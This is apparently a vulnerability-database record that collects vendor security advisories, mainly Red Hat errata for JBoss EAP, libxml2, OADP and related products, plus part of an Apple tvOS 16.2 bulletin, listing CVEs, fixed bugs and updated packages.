Hat JBoss Enterprise Application Platform 7.3.3 security update on RHEL 8\nAdvisory ID: RHSA-2020:4245-01\nProduct: Red Hat JBoss Enterprise Application Platform\nAdvisory URL: https://access.redhat.com/errata/RHSA-2020:4245\nIssue date: 2020-10-13\nCVE Names: CVE-2020-1954 CVE-2020-14299 CVE-2020-14338\n CVE-2020-14340\n====================================================================\n1. Summary:\n\nAn update is now available for Red Hat JBoss Enterprise Application\nPlatform 7.3 for RHEL 8. \n\nRed Hat Product Security has rated this update as having a security impact\nof Moderate. A Common Vulnerability Scoring System (CVSS) base score, which\ngives a detailed severity rating, is available for each vulnerability from\nthe CVE link(s) in the References section. \n\n2. Relevant releases/architectures:\n\nRed Hat JBoss EAP 7.3 for BaseOS-8 - noarch, x86_64\n\n3. Description:\n\nRed Hat JBoss Enterprise Application Platform 7 is a platform for Java\napplications based on the WildFly application runtime. \n\nThis release of Red Hat JBoss Enterprise Application Platform 7.3.3 serves\nas a replacement for Red Hat JBoss Enterprise Application Platform 7.3.2\nand includes bug fixes and enhancements. See the Red Hat JBoss Enterprise\nApplication Platform 7.3.3 Release Notes for information about the most\nsignificant bug fixes and enhancements included in this release. \n\nSecurity Fix(es):\n\n* picketbox: JBoss EAP reload to admin-only mode allows authentication\nbypass (CVE-2020-14299)\n\n* wildfly: XML validation manipulation due to incomplete application of\nuse-grammar-pool-only in xercesImpl (CVE-2020-14338)\n\n* xnio: file descriptor leak caused by growing amounts of NIO Selector file\nhandles may lead to DoS (CVE-2020-14340)\n\n* cxf: JMX integration is vulnerable to a MITM attack (CVE-2020-1954)\n\nFor more details about the security issue(s), including the impact, a CVSS\nscore, acknowledgments, and other related information, refer to the CVE\npage(s) listed in the References section. \n\n4. Solution:\n\nBefore applying this update, back up your existing Red Hat JBoss Enterprise\nApplication Platform installation and deployed applications. \n\nFor details about how to apply this update, see:\n\nhttps://access.redhat.com/articles/11258\n\n5. Bugs fixed (https://bugzilla.redhat.com/):\n\n1824301 - CVE-2020-1954 cxf: JMX integration is vulnerable to a MITM attack\n1848533 - CVE-2020-14299 picketbox: JBoss EAP reload to admin-only mode allows authentication bypass\n1860054 - CVE-2020-14338 wildfly: XML validation manipulation due to incomplete application of use-grammar-pool-only in xercesImpl\n1860218 - CVE-2020-14340 xnio: file descriptor leak caused by growing amounts of NIO Selector file handles may lead to DoS\n\n6. JIRA issues fixed (https://issues.jboss.org/):\n\nJBEAP-19379 - [GSS](7.3.z) Upgrade Hibernate ORM from 5.3.17 to 5.3.18\nJBEAP-19444 - Tracker bug for the EAP 7.3.3 release for RHEL-8\nJBEAP-19596 - [GSS](7.3.z) CMTOOL-277 - Migration from EAP 6.4 Update 22 to EAP 7.3 create a misspelled \u0027Application Realm\u0027\nJBEAP-19613 - (7.3.z) ELY-1975 - Update AcmeClientSpi#obtainCertificate so that it obtains the order URL from the response to newOrder\nJBEAP-19615 - (7.3.z) ELY-1968 - Update error message returned by AcmeClientSpi#getLocation\nJBEAP-19642 - (7.3.z) Upgrade jberet-core from 1.3.5.Final to 1.3.7.Final\nJBEAP-19695 - [GSS](7.3.z) Upgrade Apache CXF from 3.3.5 to 3.3.7\nJBEAP-19698 - [GSS](7.3.z) Upgrade Invocation from 1.5.2.Final-redhat-00001 to 1.5.3.Final... \nJBEAP-19700 - [GSS](7.3.z) Upgrade Migration Tool from 1.7.1-redhat-00003 to 1.7.2-redhat-00001\nJBEAP-19701 - [GSS](7.3.z) Upgrade jgroups from 4.1.4.Final-redhat-00001 to 4.1.10.Final-redhat-00001\nJBEAP-19715 - [GSS](7.3.z) Upgrade Artemis Native to 1.0.2\nJBEAP-19746 - [GSS](7.3.z) Upgrade JBoss Log Manager from 2.1.15 to 2.1.17\nJBEAP-19789 - [GSS](7.3.z) Upgrade Narayana from 5.9.8.Final to 5.9.9.Final\nJBEAP-19791 - [GSS](7.3.z) Upgrade HAL from 3.2.9.Final-redhat-00001 to 3.2.10.Final-redhat-00001\nJBEAP-19795 - (7.3.z) Upgrade JSF based on Mojarra 2.3.9.SP11-redhat-00001 to 2.3.9.SP12-redhat-00001\nJBEAP-19796 - [GSS](7.3.z) Upgrade Artemis from 2.9.0.redhat-00010 to 2.9.0.redhat-00011\nJBEAP-19822 - (7.3.z) Upgrade MP fault-tolerance to 2.1.1\nJBEAP-19888 - (7.3.z) Upgrade SmallRye OpenAPI to 1.1.23\nJBEAP-19934 - (7.3.z) Upgrade bouncycastle to 1.65\nJBEAP-19935 - (7.3.z) Upgrade commons-codec to 1.14\nJBEAP-19936 - (7.3.z) Upgrade commons-lang3 from 3.9 to 3.10\nJBEAP-19937 - (7.3.z) Upgrade snakeyaml to 1.26\nJBEAP-19938 - (7.3.z) Upgrade velocity to 2.2\nJBEAP-19939 - (7.3.z) Upgrade httpcomponents httpclient from 4.5.4 to 4.5.12\nJBEAP-19940 - (7.3.z) Upgrade httpcomponents httpcore from 4.4.5 to 4.4.13\nJBEAP-19942 - (7.3.z) Upgrade XNIO from 3.7.8.SP1 to 3.7.9.Final\nJBEAP-19955 - (7.3.z) Update xmlschema to 2.2.5\nJBEAP-19965 - (7.3.z) Fix PreservePathTestCase after httpclient upgrade\nJBEAP-20027 - (7.3.z) Upgrade PicketLink bindings from 2.5.5.SP12-redhat-00012 to 2.5.5.SP12-redhat-00013\nJBEAP-20037 - [GSS](7.3.z) Upgrade wildfly-transaction-client from 1.1.11.Final-redhat-00001 to 1.1.13.Final-redhat-00001\nJBEAP-20064 - (7.3.z) Update PR template to include PR-processor hints for wildfly-core-eap\nJBEAP-20087 - [GSS](7.3.z) WFLY-13147 - Deployment slowdown after WFLY upgrade (DeploymentArchive handling)\nJBEAP-20112 - (7.3.z) Upgrade smallrye-fault-tolerance to 4.2.1\n\n7. Package List:\n\nRed Hat JBoss EAP 7.3 for BaseOS-8:\n\nSource:\neap7-activemq-artemis-2.9.0-5.redhat_00011.1.el8eap.src.rpm\neap7-activemq-artemis-native-1.0.2-1.redhat_00001.1.el8eap.src.rpm\neap7-apache-commons-codec-1.14.0-1.redhat_00001.1.el8eap.src.rpm\neap7-apache-commons-lang-3.10.0-1.redhat_00001.1.el8eap.src.rpm\neap7-apache-cxf-3.3.7-1.redhat_00001.1.el8eap.src.rpm\neap7-artemis-native-1.0.2-3.redhat_1.el8eap.src.rpm\neap7-bouncycastle-1.65.0-1.redhat_00001.1.el8eap.src.rpm\neap7-glassfish-jsf-2.3.9-11.SP12_redhat_00001.1.el8eap.src.rpm\neap7-hal-console-3.2.10-1.Final_redhat_00001.1.el8eap.src.rpm\neap7-hibernate-5.3.18-1.Final_redhat_00001.1.el8eap.src.rpm\neap7-httpcomponents-client-4.5.12-1.redhat_00001.1.el8eap.src.rpm\neap7-httpcomponents-core-4.4.13-1.redhat_00001.1.el8eap.src.rpm\neap7-jberet-1.3.7-1.Final_redhat_00001.1.el8eap.src.rpm\neap7-jboss-invocation-1.5.3-1.Final_redhat_00001.1.el8eap.src.rpm\neap7-jboss-logmanager-2.1.17-1.Final_redhat_00001.1.el8eap.src.rpm\neap7-jboss-server-migration-1.7.2-2.Final_redhat_00002.1.el8eap.src.rpm\neap7-jboss-xnio-base-3.7.9-1.Final_redhat_00001.1.el8eap.src.rpm\neap7-jgroups-4.1.10-1.Final_redhat_00001.1.el8eap.src.rpm\neap7-narayana-5.9.9-1.Final_redhat_00001.1.el8eap.src.rpm\neap7-picketbox-5.0.3-8.Final_redhat_00007.1.el8eap.src.rpm\neap7-picketlink-bindings-2.5.5-25.SP12_redhat_00013.1.el8eap.src.rpm\neap7-snakeyaml-1.26.0-1.redhat_00001.1.el8eap.src.rpm\neap7-undertow-2.0.31-1.SP1_redhat_00001.1.el8eap.src.rpm\neap7-velocity-2.2.0-1.redhat_00001.1.el8eap.src.rpm\neap7-wildfly-7.3.3-4.GA_redhat_00004.1.el8eap.src.rpm\neap7-wildfly-elytron-1.10.8-1.Final_redhat_00001.1.el8eap.src.rpm\neap7-wildfly-transaction-client-1.1.13-1.Final_redhat_00001.1.el8eap.src.rpm\neap7-ws-commons-XmlSchema-2.2.5-1.redhat_00001.1.el8eap.src.rpm\neap7-xerces-j2-2.12.0-2.SP03_redhat_00001.1.el8eap.src.rpm\n\nnoarch:\neap7-activemq-artemis-2.9.0-5.redhat_00011.1.el8eap.noarch.rpm\neap7-activemq-artemis-cli-2.9.0-5.redhat_00011.1.el8eap.noarch.rpm\neap7-activemq-artemis-commons-2.9.0-5.redhat_00011.1.el8eap.noarch.rpm\neap7-activemq-artemis-core-client-2.9.0-5.redhat_00011.1.el8eap.noarch.rpm\neap7-activemq-artemis-dto-2.9.0-5.redhat_00011.1.el8eap.noarch.rpm\neap7-activemq-artemis-hornetq-protocol-2.9.0-5.redhat_00011.1.el8eap.noarch.rpm\neap7-activemq-artemis-hqclient-protocol-2.9.0-5.redhat_00011.1.el8eap.noarch.rpm\neap7-activemq-artemis-jdbc-store-2.9.0-5.redhat_00011.1.el8eap.noarch.rpm\neap7-activemq-artemis-jms-client-2.9.0-5.redhat_00011.1.el8eap.noarch.rpm\neap7-activemq-artemis-jms-server-2.9.0-5.redhat_00011.1.el8eap.noarch.rpm\neap7-activemq-artemis-journal-2.9.0-5.redhat_00011.1.el8eap.noarch.rpm\neap7-activemq-artemis-native-1.0.2-1.redhat_00001.1.el8eap.noarch.rpm\neap7-activemq-artemis-ra-2.9.0-5.redhat_00011.1.el8eap.noarch.rpm\neap7-activemq-artemis-selector-2.9.0-5.redhat_00011.1.el8eap.noarch.rpm\neap7-activemq-artemis-server-2.9.0-5.redhat_00011.1.el8eap.noarch.rpm\neap7-activemq-artemis-service-extensions-2.9.0-5.redhat_00011.1.el8eap.noarch.rpm\neap7-activemq-artemis-tools-2.9.0-5.redhat_00011.1.el8eap.noarch.rpm\neap7-apache-commons-codec-1.14.0-1.redhat_00001.1.el8eap.noarch.rpm\neap7-apache-commons-lang-3.10.0-1.redhat_00001.1.el8eap.noarch.rpm\neap7-apache-cxf-3.3.7-1.redhat_00001.1.el8eap.noarch.rpm\neap7-apache-cxf-rt-3.3.7-1.redhat_00001.1.el8eap.noarch.rpm\neap7-apache-cxf-services-3.3.7-1.redhat_00001.1.el8eap.noarch.rpm\neap7-apache-cxf-tools-3.3.7-1.redhat_00001.1.el8eap.noarch.rpm\neap7-bouncycastle-1.65.0-1.redhat_00001.1.el8eap.noarch.rpm\neap7-bouncycastle-mail-1.65.0-1.redhat_00001.1.el8eap.noarch.rpm\neap7-bouncycastle-pkix-1.65.0-1.redhat_00001.1.el8eap.noarch.rpm\neap7-bouncycastle-prov-1.65.0-1.redhat_00001.1.el8eap.noarch.rpm\neap7-glassfish-jsf-2.3.9-11.SP12_redhat_00001.1.el8eap.noarch.rpm\neap7-hal-console-3.2.10-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-hibernate-5.3.18-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-hibernate-core-5.3.18-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-hibernate-entitymanager-5.3.18-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-hibernate-envers-5.3.18-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-hibernate-java8-5.3.18-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-httpcomponents-client-4.5.12-1.redhat_00001.1.el8eap.noarch.rpm\neap7-httpcomponents-core-4.4.13-1.redhat_00001.1.el8eap.noarch.rpm\neap7-jberet-1.3.7-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-jberet-core-1.3.7-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-jboss-invocation-1.5.3-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-jboss-logmanager-2.1.17-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-jboss-server-migration-1.7.2-2.Final_redhat_00002.1.el8eap.noarch.rpm\neap7-jboss-server-migration-cli-1.7.2-2.Final_redhat_00002.1.el8eap.noarch.rpm\neap7-jboss-server-migration-core-1.7.2-2.Final_redhat_00002.1.el8eap.noarch.rpm\neap7-jboss-server-migration-eap6.4-1.7.2-2.Final_redhat_00002.1.el8eap.noarch.rpm\neap7-jboss-server-migration-eap6.4-to-eap7.3-1.7.2-2.Final_redhat_00002.1.el8eap.noarch.rpm\neap7-jboss-server-migration-eap7.0-1.7.2-2.Final_redhat_00002.1.el8eap.noarch.rpm\neap7-jboss-server-migration-eap7.1-1.7.2-2.Final_redhat_00002.1.el8eap.noarch.rpm\neap7-jboss-server-migration-eap7.2-1.7.2-2.Final_redhat_00002.1.el8eap.noarch.rpm\neap7-jboss-server-migration-eap7.2-to-eap7.3-1.7.2-2.Final_redhat_00002.1.el8eap.noarch.rpm\neap7-jboss-server-migration-eap7.3-server-1.7.2-2.Final_redhat_00002.1.el8eap.noarch.rpm\neap7-jboss-server-migration-wildfly10.0-1.7.2-2.Final_redhat_00002.1.el8eap.noarch.rpm\neap7-jboss-server-migration-wildfly10.1-1.7.2-2.Final_redhat_00002.1.el8eap.noarch.rpm\neap7-jboss-server-migration-wildfly11.0-1.7.2-2.Final_redhat_00002.1.el8eap.noarch.rpm\neap7-jboss-server-migration-wildfly12.0-1.7.2-2.Final_redhat_00002.1.el8eap.noarch.rpm\neap7-jboss-server-migration-wildfly13.0-server-1.7.2-2.Final_redhat_00002.1.el8eap.noarch.rpm\neap7-jboss-server-migration-wildfly14.0-server-1.7.2-2.Final_redhat_00002.1.el8eap.noarch.rpm\neap7-jboss-server-migration-wildfly15.0-server-1.7.2-2.Final_redhat_00002.1.el8eap.noarch.rpm\neap7-jboss-server-migration-wildfly16.0-server-1.7.2-2.Final_redhat_00002.1.el8eap.noarch.rpm\neap7-jboss-server-migration-wildfly17.0-server-1.7.2-2.Final_redhat_00002.1.el8eap.noarch.rpm\neap7-jboss-server-migration-wildfly18.0-server-1.7.2-2.Final_redhat_00002.1.el8eap.noarch.rpm\neap7-jboss-server-migration-wildfly8.2-1.7.2-2.Final_redhat_00002.1.el8eap.noarch.rpm\neap7-jboss-server-migration-wildfly9.0-1.7.2-2.Final_redhat_00002.1.el8eap.noarch.rpm\neap7-jboss-xnio-base-3.7.9-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-jgroups-4.1.10-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-narayana-5.9.9-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-narayana-compensations-5.9.9-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-narayana-jbosstxbridge-5.9.9-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-narayana-jbossxts-5.9.9-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-narayana-jts-idlj-5.9.9-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-narayana-jts-integration-5.9.9-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-narayana-restat-api-5.9.9-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-narayana-restat-bridge-5.9.9-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-narayana-restat-integration-5.9.9-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-narayana-restat-util-5.9.9-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-narayana-txframework-5.9.9-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-picketbox-5.0.3-8.Final_redhat_00007.1.el8eap.noarch.rpm\neap7-picketbox-infinispan-5.0.3-8.Final_redhat_00007.1.el8eap.noarch.rpm\neap7-picketlink-bindings-2.5.5-25.SP12_redhat_00013.1.el8eap.noarch.rpm\neap7-picketlink-wildfly8-2.5.5-25.SP12_redhat_00013.1.el8eap.noarch.rpm\neap7-snakeyaml-1.26.0-1.redhat_00001.1.el8eap.noarch.rpm\neap7-undertow-2.0.31-1.SP1_redhat_00001.1.el8eap.noarch.rpm\neap7-velocity-2.2.0-1.redhat_00001.1.el8eap.noarch.rpm\neap7-velocity-engine-core-2.2.0-1.redhat_00001.1.el8eap.noarch.rpm\neap7-wildfly-7.3.3-4.GA_redhat_00004.1.el8eap.noarch.rpm\neap7-wildfly-elytron-1.10.8-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-wildfly-elytron-tool-1.10.8-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-wildfly-javadocs-7.3.3-4.GA_redhat_00004.1.el8eap.noarch.rpm\neap7-wildfly-modules-7.3.3-4.GA_redhat_00004.1.el8eap.noarch.rpm\neap7-wildfly-transaction-client-1.1.13-1.Final_redhat_00001.1.el8eap.noarch.rpm\neap7-ws-commons-XmlSchema-2.2.5-1.redhat_00001.1.el8eap.noarch.rpm\neap7-xerces-j2-2.12.0-2.SP03_redhat_00001.1.el8eap.noarch.rpm\n\nx86_64:\neap7-artemis-native-1.0.2-3.redhat_1.el8eap.x86_64.rpm\neap7-artemis-native-wildfly-1.0.2-3.redhat_1.el8eap.x86_64.rpm\n\nThese packages are GPG signed by Red Hat for security. Our key and\ndetails on how to verify the signature are available from\nhttps://access.redhat.com/security/team/key/\n\n8. References:\n\nhttps://access.redhat.com/security/cve/CVE-2020-1954\nhttps://access.redhat.com/security/cve/CVE-2020-14299\nhttps://access.redhat.com/security/cve/CVE-2020-14338\nhttps://access.redhat.com/security/cve/CVE-2020-14340\nhttps://access.redhat.com/security/updates/classification/#moderate\nhttps://access.redhat.com/documentation/en-us/red_hat_jboss_enterprise_application_platform/7.3/\nhttps://access.redhat.com/documentation/en-us/red_hat_jboss_enterprise_application_platform/7.3/html-single/installation_guide/\n\n9. Contact:\n\nThe Red Hat security contact is \u003csecalert@redhat.com\u003e. More contact\ndetails at https://access.redhat.com/security/team/contact/\n\nCopyright 2020 Red Hat, Inc. \n-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIVAwUBX4XdnNzjgjWX9erEAQiXuw//R4g+s6n+rk7hCp48kUecgr/5ci5EP6UM\n7BsPN7sPZcLyYiZZsP+/6hHbB/dkfUyL8zJMQBQHHcwjhFkI9diYjraI2/K2BTo8\nFb/JEJoCmDs88/LUUpMebq7SSulBWhtfKYwCCOGy6pCpRAka99nzFXGr1y4H1ozJ\nberY8tq9PVJLJyuKGyoK+06fENIV2b/Oir68lSGrTMJVQeqb9TclI1pRIZ/8iZNh\nOQOnXk85y81YrQTlynAlBnlMCtSNEFMBUi5b25Q30ZNxMaegYyezvlgs790hLZQA\nUUfjAdFsk341kK0uop93y9MnDT1qUiYNG1rJ5DBB0jzyq7zQk2GxwBYg3mhItMhi\nFBZ6oeePwEEq4Bxpd1vERDQQW+zCpd0jLJ4nvU1wFIQZK7eSBk6Lz4ws2XUHmuru\nyXCcJZWqkXzQwhYMSq3y1fVcTAl6HcWxoBuX1TU9AmZWKcUlHN9Lo6BF4fMEhXH/\nUrQNC+mOnCAjJrD1sGyPlozMnZnu96fVMURTDdz4J9aN1JU1t0fb2MgD3X3VZWto\nducjlQPeNTI1+elmaBxAS8A7a+UaN63QgjeCQfzjEky89Jvfv/Ra6i5R5x8LrrQf\nzMn1XyxOAefzehiV8SR801W8dE7D7RlF5y/TH0ciA/CIzUSNAbb4tDlGcSDPig+a\nPGc+57G5XO4=OgA5\n-----END PGP SIGNATURE-----\n\n--\nRHSA-announce mailing list\nRHSA-announce@redhat.com\nhttps://www.redhat.com/mailman/listinfo/rhsa-announce\n. Description:\n\nRed Hat Decision Manager is an open source decision management platform\nthat combines business rules management, complex event processing, Decision\nModel \u0026 Notation (DMN) execution, and Business Optimizer for solving\nplanning problems. It automates business decisions and makes that logic\navailable to the entire business. \n\nSecurity Fix(es):\n\n* hibernate: SQL injection issue in Hibernate ORM (CVE-2019-14900)\n\n* batik: SSRF via \"xlink:href\" (CVE-2019-17566)\n\n* Wildfly: Improper authorization issue in WildFlySecurityManager when\nusing alternative protection domain (CVE-2020-1748)\n\n* ant: insecure temporary file vulnerability (CVE-2020-1945)\n\n* dom4j: XML External Entity vulnerability in default SAX parser\n(CVE-2020-10683)\n\n* hibernate-validator: Improper input validation in the interpolation of\nconstraint error messages (CVE-2020-10693)\n\n* wildfly-elytron: session fixation when using FORM authentication\n(CVE-2020-10714)\n\n* cxf: JMX integration is vulnerable to a MITM attack (CVE-2020-1954)\n\n* mysql-connector-java: allows unauthenticated attacker with network access\nvia multiple protocols to compromise MySQL Connectors which could result in\nunauthorized update, insert or delete (CVE-2020-2875)\n\n* mysql-connector-java: allows high privileged attacker with network access\nvia multiple protocols to compromise MySQL Connectors which could result in\nunauthorized partial DoS (CVE-2020-2933)\n\n* mysql-connector-java: allows unauthenticated attacker with network access\nvia multiple protocols to compromise MySQL Connectors which could result in\nunauthorized update, insert or delete (CVE-2020-2934)\n\nFor more details about the security issue(s), including the impact, a CVSS\nscore, acknowledgments, and other related information, refer to the CVE\npage(s) listed in the References section. Bugs fixed (https://bugzilla.redhat.com/):\n\n1666499 - CVE-2019-14900 hibernate: SQL injection issue in Hibernate ORM\n1694235 - CVE-2020-10683 dom4j: XML External Entity vulnerability in default SAX parser\n1805501 - CVE-2020-10693 hibernate-validator: Improper input validation in the interpolation of constraint error messages\n1807707 - CVE-2020-1748 Wildfly: Improper authorization issue in WildFlySecurityManager when using alternative protection domain\n1824301 - CVE-2020-1954 cxf: JMX integration is vulnerable to a MITM attack\n1825714 - CVE-2020-10714 wildfly-elytron: session fixation when using FORM authentication\n1837444 - CVE-2020-1945 ant: insecure temporary file vulnerability\n1848617 - CVE-2019-17566 batik: SSRF via \"xlink:href\"\n1851014 - CVE-2020-2934 mysql-connector-java: allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Connectors which could result in unauthorized update, insert or delete\n1851019 - CVE-2020-2875 mysql-connector-java: allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Connectors which could result in unauthorized update, insert or delete\n1851022 - CVE-2020-2933 mysql-connector-java: allows high privileged attacker with network access via multiple protocols to compromise MySQL Connectors which could result in unauthorized partial DoS\n\n5. Description:\n\nRed Hat Single Sign-On 7.4 is a standalone server, based on the Keycloak\nproject, that provides authentication and standards-based single sign-on\ncapabilities for web and mobile applications",
"sources": [
{
"db": "NVD",
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{
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VAR-202210-0997
Vulnerability from variot - Updated: 2026-04-10 22:15An issue was discovered in libxml2 before 2.10.3. When parsing a multi-gigabyte XML document with the XML_PARSE_HUGE parser option enabled, several integer counters can overflow. This results in an attempt to access an array at a negative 2GB offset, typically leading to a segmentation fault. It is written in C language and can be called by many languages, such as C language, C++, XSH. Currently there is no information about this vulnerability, please keep an eye on CNNVD or vendor announcements. Summary:
OpenShift API for Data Protection (OADP) 1.1.2 is now available. Description:
OpenShift API for Data Protection (OADP) enables you to back up and restore application resources, persistent volume data, and internal container images to external backup storage. OADP enables both file system-based and snapshot-based backups for persistent volumes. Solution:
Before applying this update, make sure all previously released errata relevant to your system have been applied. Bugs fixed (https://bugzilla.redhat.com/):
2132867 - CVE-2022-2879 golang: archive/tar: unbounded memory consumption when reading headers 2132868 - CVE-2022-2880 golang: net/http/httputil: ReverseProxy should not forward unparseable query parameters 2132872 - CVE-2022-41715 golang: regexp/syntax: limit memory used by parsing regexps 2161274 - CVE-2022-41717 golang: net/http: An attacker can cause excessive memory growth in a Go server accepting HTTP/2 requests
- JIRA issues fixed (https://issues.jboss.org/):
OADP-1056 - DPA fails validation if multiple BSLs have the same provider OADP-1150 - Handle docker env config changes in the oadp-operator OADP-1217 - update velero + restic to 1.9.5 OADP-1256 - Backup stays in progress status after restic pod is restarted due to OOM killed OADP-1289 - Restore partially fails with error "Secrets \"deployer-token-rrjqx\" not found" OADP-290 - Remove creation/usage of velero-privileged SCC
- Description:
Red Hat Openshift GitOps is a declarative way to implement continuous deployment for cloud native applications. Bugs fixed (https://bugzilla.redhat.com/):
2160492 - CVE-2023-22482 ArgoCD: JWT audience claim is not verified 2162517 - CVE-2023-22736 argocd: Controller reconciles apps outside configured namespaces when sharding is enabled
- -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256
====================================================================
Red Hat Security Advisory
Synopsis: Moderate: libxml2 security update Advisory ID: RHSA-2023:0338-01 Product: Red Hat Enterprise Linux Advisory URL: https://access.redhat.com/errata/RHSA-2023:0338 Issue date: 2023-01-23 CVE Names: CVE-2022-40303 CVE-2022-40304 ==================================================================== 1. Summary:
An update for libxml2 is now available for Red Hat Enterprise Linux 9.
Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.
- Relevant releases/architectures:
Red Hat Enterprise Linux AppStream (v. 9) - aarch64, ppc64le, s390x, x86_64 Red Hat Enterprise Linux BaseOS (v. 9) - aarch64, ppc64le, s390x, x86_64
- Description:
The libxml2 library is a development toolbox providing the implementation of various XML standards.
Security Fix(es):
-
libxml2: integer overflows with XML_PARSE_HUGE (CVE-2022-40303)
-
libxml2: dict corruption caused by entity reference cycles (CVE-2022-40304)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
- Solution:
For details on how to apply this update, which includes the changes described in this advisory, refer to:
https://access.redhat.com/articles/11258
The desktop must be restarted (log out, then log back in) for this update to take effect.
- Bugs fixed (https://bugzilla.redhat.com/):
2136266 - CVE-2022-40303 libxml2: integer overflows with XML_PARSE_HUGE 2136288 - CVE-2022-40304 libxml2: dict corruption caused by entity reference cycles
- Package List:
Red Hat Enterprise Linux AppStream (v. 9):
aarch64: libxml2-debuginfo-2.9.13-3.el9_1.aarch64.rpm libxml2-debugsource-2.9.13-3.el9_1.aarch64.rpm libxml2-devel-2.9.13-3.el9_1.aarch64.rpm python3-libxml2-debuginfo-2.9.13-3.el9_1.aarch64.rpm
ppc64le: libxml2-debuginfo-2.9.13-3.el9_1.ppc64le.rpm libxml2-debugsource-2.9.13-3.el9_1.ppc64le.rpm libxml2-devel-2.9.13-3.el9_1.ppc64le.rpm python3-libxml2-debuginfo-2.9.13-3.el9_1.ppc64le.rpm
s390x: libxml2-debuginfo-2.9.13-3.el9_1.s390x.rpm libxml2-debugsource-2.9.13-3.el9_1.s390x.rpm libxml2-devel-2.9.13-3.el9_1.s390x.rpm python3-libxml2-debuginfo-2.9.13-3.el9_1.s390x.rpm
x86_64: libxml2-debuginfo-2.9.13-3.el9_1.i686.rpm libxml2-debuginfo-2.9.13-3.el9_1.x86_64.rpm libxml2-debugsource-2.9.13-3.el9_1.i686.rpm libxml2-debugsource-2.9.13-3.el9_1.x86_64.rpm libxml2-devel-2.9.13-3.el9_1.i686.rpm libxml2-devel-2.9.13-3.el9_1.x86_64.rpm python3-libxml2-debuginfo-2.9.13-3.el9_1.i686.rpm python3-libxml2-debuginfo-2.9.13-3.el9_1.x86_64.rpm
Red Hat Enterprise Linux BaseOS (v. 9):
Source: libxml2-2.9.13-3.el9_1.src.rpm
aarch64: libxml2-2.9.13-3.el9_1.aarch64.rpm libxml2-debuginfo-2.9.13-3.el9_1.aarch64.rpm libxml2-debugsource-2.9.13-3.el9_1.aarch64.rpm python3-libxml2-2.9.13-3.el9_1.aarch64.rpm python3-libxml2-debuginfo-2.9.13-3.el9_1.aarch64.rpm
ppc64le: libxml2-2.9.13-3.el9_1.ppc64le.rpm libxml2-debuginfo-2.9.13-3.el9_1.ppc64le.rpm libxml2-debugsource-2.9.13-3.el9_1.ppc64le.rpm python3-libxml2-2.9.13-3.el9_1.ppc64le.rpm python3-libxml2-debuginfo-2.9.13-3.el9_1.ppc64le.rpm
s390x: libxml2-2.9.13-3.el9_1.s390x.rpm libxml2-debuginfo-2.9.13-3.el9_1.s390x.rpm libxml2-debugsource-2.9.13-3.el9_1.s390x.rpm python3-libxml2-2.9.13-3.el9_1.s390x.rpm python3-libxml2-debuginfo-2.9.13-3.el9_1.s390x.rpm
x86_64: libxml2-2.9.13-3.el9_1.i686.rpm libxml2-2.9.13-3.el9_1.x86_64.rpm libxml2-debuginfo-2.9.13-3.el9_1.i686.rpm libxml2-debuginfo-2.9.13-3.el9_1.x86_64.rpm libxml2-debugsource-2.9.13-3.el9_1.i686.rpm libxml2-debugsource-2.9.13-3.el9_1.x86_64.rpm python3-libxml2-2.9.13-3.el9_1.x86_64.rpm python3-libxml2-debuginfo-2.9.13-3.el9_1.i686.rpm python3-libxml2-debuginfo-2.9.13-3.el9_1.x86_64.rpm
These packages are GPG signed by Red Hat for security. Our key and details on how to verify the signature are available from https://access.redhat.com/security/team/key/
- References:
https://access.redhat.com/security/cve/CVE-2022-40303 https://access.redhat.com/security/cve/CVE-2022-40304 https://access.redhat.com/security/updates/classification/#moderate
- Contact:
The Red Hat security contact is secalert@redhat.com. More contact details at https://access.redhat.com/security/team/contact/
Copyright 2023 Red Hat, Inc. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256
APPLE-SA-2022-12-13-7 tvOS 16.2
tvOS 16.2 addresses the following issues. Information about the security content is also available at https://support.apple.com/HT213535.
Accounts Available for: Apple TV 4K, Apple TV 4K (2nd generation and later), and Apple TV HD Impact: A user may be able to view sensitive user information Description: This issue was addressed with improved data protection. CVE-2022-42843: Mickey Jin (@patch1t)
AppleAVD Available for: Apple TV 4K, Apple TV 4K (2nd generation and later), and Apple TV HD Impact: Parsing a maliciously crafted video file may lead to kernel code execution Description: An out-of-bounds write issue was addressed with improved input validation. CVE-2022-46694: Andrey Labunets and Nikita Tarakanov
AppleMobileFileIntegrity Available for: Apple TV 4K, Apple TV 4K (2nd generation and later), and Apple TV HD Impact: An app may be able to bypass Privacy preferences Description: This issue was addressed by enabling hardened runtime. CVE-2022-42865: Wojciech Reguła (@_r3ggi) of SecuRing
